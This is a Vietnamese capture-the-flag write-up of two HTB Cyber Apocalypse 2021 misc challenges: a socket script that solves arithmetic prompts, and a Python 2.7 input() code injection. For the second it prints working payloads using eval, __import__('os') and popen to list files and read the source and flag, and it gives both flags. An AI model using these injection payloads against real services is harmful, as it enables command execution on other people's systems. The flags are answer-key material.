[Cyber Apocalypse 2021]- Misc Alien Camp and Input as a Service writeup
1. Alien Camp
Bài này đơn giản là cho một server với 1 port mở như vầy.
Đây là yêu cầu của đề bài
Khi connect vào server thì có các thông tin sau. Đơn giản và dễ hiểu thì là tính toán và gửi kết quả cho nó. Nó có tận 500 bài toán lận.
Bài này thiên về kiểu viết code để tính toán, logic tý là ra nên khỏi phải giải thích nhiều. Dưới đây là POC mình viết, nó nhìn thì ngu như nó work nhé các bạn :D
import time
import socket
def return_value(s, values):
return values.get(s)
def split_values_to_json(values):
values = values.split(" ")
data = {}
for i in range(0,len(values), 3):
data.update({
values[i]: int(values[i + 2])
})
return data
def calc(array_answers):
l = ""
for c in array_answers:
if c == '-' or c == '+' or c == '*' or c == '/':
l = l + c
else:
l = l + str(return_value(c, array_values))
print(l)
return eval(l)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('138.68.177.159', 30906))
print (s.recv(1024))
s.send(b"1\n")
values = s.recv(1024).decode("utf-8") + s.recv(1024).decode("utf-8")
print(values)
values = values.split("\n\n")[1].strip(" ")
print(values.split(" "))
array_values = split_values_to_json(values)
print(array_values)
# s.recv(1024).decode("utf-8")
s.send(b"2\n")
while True:
# lay gia tri
# tinh toan
answers = s.recv(1024).decode("utf-8")
if answers.find("CHTB{") != -1:
print(answers)
break
print("-------{}------".format(answers))
start = answers.find("Question")
stop = answers.find("Answer:")
tmp_answers = answers.replace("Answer:", "")
# print("--------bbbbbbb{}".format(tmp_answers))
len_question = tmp_answers[tmp_answers.find("Question"): tmp_answers.find(":") + 1]
if len_question == "":
len_question = 0
else:
len_question = len(len_question)
answers = answers[start + len_question: stop].strip("\n\n")
_answers = answers[:answers.find(" =")]
if _answers.find("Question") != -1:
_len = len(_answers[_answers.find("Question"): _answers.find(":") + 1])
_answers = _answers[_answers.find("Question") + _len:].strip("\n\n")
array_answers = _answers.strip(" ").split(" ")
results = calc(array_answers)
s.send("{}\n".format(results).encode())
print("results: {}".format(results))
Flag là: CHTB{3v3n_4l13n5_u53_3m0j15_t0_c0mmun1c4t3}
2. Input as a Service
Những gì bài cho là một ip và port.
Thử connect vào và điền một vài thứ gì đó ngớ ngẩn, thì tôi có được thông báo lỗi như sau:
Báo lỗi là tên không được tìm thấy, vậy là những gì tôi nhập vào được xem là 1 biến, và nó không chạy được là do không tìm thấy ư? ư? ư? Một câu hỏi lớn, và chú ý hơn nữa thì có dòng text = input(' ')
và phiên bản python là 2.7.18
Hay lắm, vậy chắc chắn là những gì tôi nhập vào sẽ được đi qua hàm input, ở phiên bản python 2.7.18
. Đây là mấu chốt, ở phiên bản python này, input đã được khuyến nghị là không nên sử dụng, vì nó không an toàn, có thể sử dụng code injection
thông của hàm này.
Vậy thử thôi, thực ra là thi CTF chả có thời gian mà thử nhiều, tôi thử luôn như dưới cho chắc ăn.
eval(compile("""__import__('os').popen(r'cat /app/input_as_a_service.py').read()""",'','single'))
Tôi đọc file /app/input_as_a_service.py
, file này thấy khi server trả về lỗi, mục đích là đọc source code trong này để đảm bảo rằng suy nghĩ của tôi đúng.
Sau khi chạy thì server đã trả về source code cho tôi như dưới.
#!/usr/bin/python2.7
from sys import version
'''
Descr:
In order to blend with the extraterrestrials, we need to talk and sound like them. Try some phrases in order to check if you can make them believe you are one of them.
'''
def main():
print version + '\nDo you sound like an alien?\n>>> \n'
for _ in range(2):
text = input(' ')
print text
if __name__ == "__main__":
main()
Vậy là luồng suy nghĩ của tôi ngay từ đầu đã đúng, bây giờ thì xem file flag nằm ở đâu chứ nhỉ. Có thể sử dụng bất cứ lệnh gì để tìm file flag
. Ví dụ: find / -name 'flag*'
, ls
xem chúng có ở cùng folder với file chạy không.
eval(compile("""__import__('os').popen(r'ls').read()""",'','single'))
Tôi ls
thử thì đã thấy được file flag là flag.txt
.
Bây giờ chỉ cần đọc nó thôi là xong bài này rồi.
eval(compile("""__import__('os').popen(r'cat flag.txt').read()""",'','single'))
Đã tìm thấy được flag.
Flag là: CHTB{4li3n5_us3_pyth0n2.X?!}